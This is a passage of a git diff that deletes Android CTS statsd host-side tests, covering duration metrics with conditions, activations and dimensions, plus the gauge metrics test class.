-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-
-        builder
-            .addPredicate(predicate)
-            .addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                );
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithActivation() throws Exception {
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-        final int durationLabel = 1;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithConditionAndActivation() throws Exception {
-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-        builder.addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-        //doAppBreadcrumbReported(99); // TODO: maybe remove?
-        //Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)4e9, (long)5e9));
-    }
-
-    public void testDurationMetricWithDimension() throws Exception {
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcherA =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherA =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-        AtomMatcher startAtomMatcherB =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherB =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcherA);
-        builder.addAtomMatcher(stopAtomMatcherA);
-        builder.addAtomMatcher(startAtomMatcherB);
-        builder.addAtomMatcher(stopAtomMatcherB);
-
-        // Add Predicates.
-        SimplePredicate simplePredicateA = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicateA = Predicate.newBuilder()
-                                   .setId(MetricsUtils.StringToId("Predicate_A"))
-                                   .setSimplePredicate(simplePredicateA)
-                                   .build();
-        builder.addPredicate(predicateA);
-
-        FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER);
-        dimensionsBuilder.addChild(FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                .setPosition(Position.FIRST)
-                .addChild(FieldMatcher.newBuilder().setField(
-                        AppBreadcrumbReported.LABEL_FIELD_NUMBER)));
-        Predicate predicateB =
-            Predicate.newBuilder()
-                .setId(MetricsUtils.StringToId("Predicate_B"))
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                                        .setDimensions(dimensionsBuilder.build())
-                                        .build())
-                .build();
-        builder.addPredicate(predicateB);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicateB.getId())
-                .setCondition(predicateA.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setDimensionsInWhat(
-                    FieldMatcher.newBuilder()
-                        .setField(Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER)
-                        .addChild(FieldMatcher.newBuilder()
-                                      .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                      .setPosition(Position.FIRST)
-                                      .addChild(FieldMatcher.newBuilder().setField(
-                                          AppBreadcrumbReported.LABEL_FIELD_NUMBER)))));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Trigger events.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStart(2);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(2);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(1);
-        for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
-            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long)1e9));
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
deleted file mode 100644
index 2280e13..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-public class GaugeMetricsTests extends DeviceAtomTestCase {
-
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testGaugeMetric() throws Exception {
-      // Add AtomMatcher's.
-      AtomMatcher startAtomMatcher =
-          MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-      AtomMatcher stopAtomMatcher =
-          MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-      AtomMatcher atomMatcher =
-          MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(startAtomMatcher);
-      builder.addAtomMatcher(stopAtomMatcher);
-      builder.addAtomMatcher(atomMatcher);
-
-      // Add Predicate's.
-      SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                                            .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                                            .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                                            .build();
-      Predicate predicate = Predicate.newBuilder()
-                                .setId(MetricsUtils.StringToId("Predicate"))
-                                .setSimplePredicate(simplePredicate)
-                                .build();
-      builder.addPredicate(predicate);
-
-      // Add GaugeMetric.
-      FieldMatcher fieldMatcher =
-          FieldMatcher.newBuilder().setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID).build();
-      builder.addGaugeMetric(
-          StatsdConfigProto.GaugeMetric.newBuilder()
-              .setId(MetricsUtils.GAUGE_METRIC_ID)
-              .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-              .setCondition(predicate.getId())
-              .setGaugeFieldsFilter(
-                  FieldFilter.newBuilder().setIncludeAll(false).setFields(fieldMatcher).build())
-              .setDimensionsInWhat(
-                  FieldMatcher.newBuilder()
-                      .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                      .addChild(FieldMatcher.newBuilder()
-                                    .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                    .build())
-                      .build())
-              .setBucket(StatsdConfigProto.TimeUnit.CTS)
-              .build());
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Create AppBreadcrumbReported Start/Stop events.
-      doAppBreadcrumbReportedStart(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-
-      // Wait for the metrics to propagate to statsd.
-      Thread.sleep(2000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isTrue();
-      StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-      assertThat(gaugeData.getDataCount()).isEqualTo(1);
-
-      int bucketCount = gaugeData.getData(0).getBucketInfoCount();
-      GaugeMetricData data = gaugeData.getData(0);
-      assertThat(bucketCount).isGreaterThan(2);
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
-      assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(0);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.START);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
-      assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
-      assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(2);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.STOP);
-  }
-
-  public void testPulledGaugeMetricWithActivation() throws Exception {
-      // Add AtomMatcher's.
-      int activationAtomMatcherId = 1;
-      int activationAtomMatcherLabel = 1;
-
-      int systemUptimeMatcherId = 2;
-      AtomMatcher activationAtomMatcher =
-              MetricsUtils.appBreadcrumbMatcherWithLabel(
-                      activationAtomMatcherId, activationAtomMatcherLabel);
-      AtomMatcher systemUptimeMatcher =
-              AtomMatcher.newBuilder()
-                      .setId(systemUptimeMatcherId)
-                      .setSimpleAtomMatcher(
-                              SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                      .build();
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(activationAtomMatcher);
-      builder.addAtomMatcher(systemUptimeMatcher);
-
-      // Add GaugeMetric.
-      builder.addGaugeMetric(
-              StatsdConfigProto.GaugeMetric.newBuilder()
-                      .setId(MetricsUtils.GAUGE_METRIC_ID)
-                      .setWhat(systemUptimeMatcherId)
-                      .setGaugeFieldsFilter(
-                              FieldFilter.newBuilder().setIncludeAll(true).build())
-                      .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                      .build());
-
-      // Add activation.
-      builder.addMetricActivation(MetricActivation.newBuilder()
-              .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-              .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-              .addEventActivation(EventActivation.newBuilder()
-                    .setAtomMatcherId(activationAtomMatcherId)
-                    .setTtlSeconds(5)));
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Plenty of time to pull, but we should not keep the data since we are not active.
-      Thread.sleep(20_000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isFalse();
-  }
-
-    public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add GaugeMetric.
-        builder
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(MetricsUtils.GAUGE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.CTS)
-                        .setCondition(predicate.getId())
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setIncludeAll(false).setFields(
-                                        FieldMatcher.newBuilder()
-                                                .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                )
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // This value is collected.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Ignored; value already collected.
-        doAppBreadcrumbReported(20);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Value not updated because condition is false.
-        doAppBreadcrumbReported(30);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(40);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
